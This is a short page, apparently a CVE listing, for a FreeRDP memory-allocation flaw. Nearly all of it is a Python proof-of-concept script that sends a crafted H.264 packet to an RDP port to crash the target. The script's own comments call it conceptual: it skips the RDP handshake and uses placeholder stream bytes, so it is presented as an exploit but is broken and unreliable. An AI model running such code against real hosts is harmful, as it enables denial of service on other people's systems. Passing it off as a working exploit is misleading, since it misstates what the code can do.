CVE-2026-33986 FreeRDP内存分配逻辑错误漏洞

# PoC for CVE-2026-33986 (FreeRDP Memory Allocation Logic Error) # This script demonstrates how a malformed H.264 stream could trigger the vulnerability. # It sends crafted data to a target FreeRDP client/server to cause allocation failure. import socket import struct def build_malformed_h264_packet(): """ Builds a fake H.264 packet with dimensions intended to trigger the logic error in yuv_ensure_buffer where width/height updates precede the allocation check. """ # Simulate H.264 NAL unit header nalu_header = b"\x00\x00\x00\x01\x67" # Insert payload that implies a large resolution change # forcing recalloc, which we aim to fail or exploit. # This is a conceptual representation. sps_data = b"\x42\xc0\x1e\xff" payload = nalu_header + sps_data return payload def send_exploit(target_ip, target_port): print(f"[*] Connecting to {target_ip}:{target_port}...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # In a real scenario, a full RDP handshake (X.224, MCS, etc.) is required first. # This assumes a connection context where we can inject channel data. exploit_data = build_malformed_h264_packet() print("[*] Sending malformed H264 stream...") sock.send(exploit_data) print("[*] Payload sent. Check target for crash.") sock.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": # Replace with actual target details send_exploit("192.168.1.10", 3389)